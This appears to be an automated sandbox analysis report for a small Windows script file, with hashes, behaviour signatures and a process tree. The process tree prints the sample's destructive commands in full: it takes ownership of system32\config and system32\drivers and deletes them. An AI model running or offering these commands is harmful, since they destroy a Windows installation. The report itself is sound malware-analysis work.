Analysis

  • max time kernel
    144s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-08-2024 21:32

General

  • Target

    file.wsf

  • Size

    2KB

  • MD5

    a5248e8a553244ebf5fe783d59068860

  • SHA1

    f866fc5f1d41e8cf209b3ea253f49a9caebb0012

  • SHA256

    e7af76261c2990bf6feae42d867deb9c54e4336a58e6160511f3062ecab3532c

  • SHA512

    7f7fafcee64a9d9d5ca06e19e011f6e485e931b06a256bf924fa06e7ade8ac25458dc8980c6409c16a22f93602ea5e6e872754966bf67a92a7b3ab4b749465b8

Score
8/10

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file.wsf thescript.vbs && start thescript.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3780
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4220
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\config\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4600
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\config\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4404
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\drivers\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:4328
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\drivers\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3980
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4088,i,11708048364682646792,608099842549576907,262144 --variations-seed-version --mojo-platform-channel-handle=1020 /prefetch:8
    1⤵
      PID:3704

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\thescript.vbs

      Filesize

      2KB

      MD5

      a5248e8a553244ebf5fe783d59068860

      SHA1

      f866fc5f1d41e8cf209b3ea253f49a9caebb0012

      SHA256

      e7af76261c2990bf6feae42d867deb9c54e4336a58e6160511f3062ecab3532c

      SHA512

      7f7fafcee64a9d9d5ca06e19e011f6e485e931b06a256bf924fa06e7ade8ac25458dc8980c6409c16a22f93602ea5e6e872754966bf67a92a7b3ab4b749465b8

    • C:\Users\Admin\Desktop\ConvertToSelect.vbs

      Filesize

      78B

      MD5

      ece02545122cc48c9d8afaf3f94dd04f

      SHA1

      8e07b6da685faad07f8413230a95ce0ae8987e0d

      SHA256

      5098743dbbd65767e7795bb819c00d091a749f0905fe0d496a06fc192efd0206

      SHA512

      e6c8df55b9845ea00301b0560321489cf064bfc02793495942e216a25f76b809a61d90ab0ce8ce4e514f626f368861c9f9b7814e3730e6482f0e2f40e88a2eb5